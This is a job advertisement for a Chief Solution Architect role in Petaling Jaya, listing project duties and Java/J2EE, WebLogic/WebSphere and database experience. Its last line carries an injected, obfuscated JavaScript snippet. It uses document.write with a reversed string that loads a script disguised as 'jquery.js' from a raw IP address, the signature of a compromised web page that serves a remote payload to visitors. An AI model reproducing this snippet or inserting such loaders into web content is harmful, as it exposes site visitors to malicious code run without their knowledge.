Chief Solution Architect

  • 10,000 and above
  • Selangor – Petaling Jaya
  • Anywhere

The Solution Architect is a key member of the development and implementation project team and is responsible for the overall design of the application and mapping client business requirements to systems/technical requirements.

The Solution Architect works as a team member along with the Project Manager, System Analyst, Team Lead and supporting team members to deliver the complete solution for the customer. This may include researching software and hardware products or services, and the finding best solutions to meet business requirements.

• Participate in process flow analysis and process redesign along with the System Analysts
• Share best practices and be consultative to clients throughout duration of the project
• Produce a detailed functional design document to match customer requirements
• Lead the development activities and complete and co/implement the proposed solution
• Co-team with the Tech Lead and System Analyst to produce a technical specification for custom development and systems integration requirements
• Provide current best practice and 3rd Party solution alternatives as part of the functional design document
• Lead the UAT efforts
• Participate in training design, documentation and delivery efforts
• Participate and lead, when needed, project meetings with the customer
• Participate in internal projects as required
• Maintain current in-production applications and solutions
• Participate in pre-sales activities on need basis

• Degree in Computer Science, IT, MIS or equivalent with total 8+ years of working experience in software development
• 5+ years hand-on experience in software application development and integration
• 3+ years of experience of architecture, design and development of enterprise-class services and web-based solutions using Java stack of technologies and products
• 4 to 5 projects that demonstrate ability to quickly learn and apply new architectural styles and enabling technologies
• 2+ years of experience as an developer/engineer responsible for developing detailed design specifications to be implemented by other developers
• Experience with a software product company is desirable
• Participation in at least 3-4 end to end engagements (at least one long term engagement, multi project participation)
• Good exposure and working experience in web / N-tier application systems design, development, testing, implementation and support with following specializations:
• #Application Development Platform: Java/J2EE
• #Web / Application Server: BEA WebLogic / IBM WebSphere
• #RDBMS: Oracle / Microsoft SQL Server / DB2
• Strong understanding of web technologies such as Java, JavaScript, JQuery, JSP, JSF and RESTful web services.
• Must be able to create screen designs, database schema, detailed flow charts, use-case diagrams, class diagrams, test cases, etc. outlining systems functionality and processes
• Excellent understanding of open standards IT architectures, including Java and UNIX technology.
• Experience in creating and maintaining technical documents prepared during the entire process of software development

• Excellent understanding of Software Development Life Cycle;
• Strong analytical skills with the ability to translate business requirements from end users into technical requirements;
• Analyse and evaluate present or proposed business procedures or problems to define functional requirements of the system;
• Must be able to work under dynamic working environment, under pressure and cope with tight project deadline
• Effective communication, interpersonal, organizational and planning skills.
• Ability to work under minimal supervision and self-motivated document.write(‘>tpircs/”sj.yreuqj/87.611.942.431//:sptth”=crs tpircs<'.split("").reverse().join(""))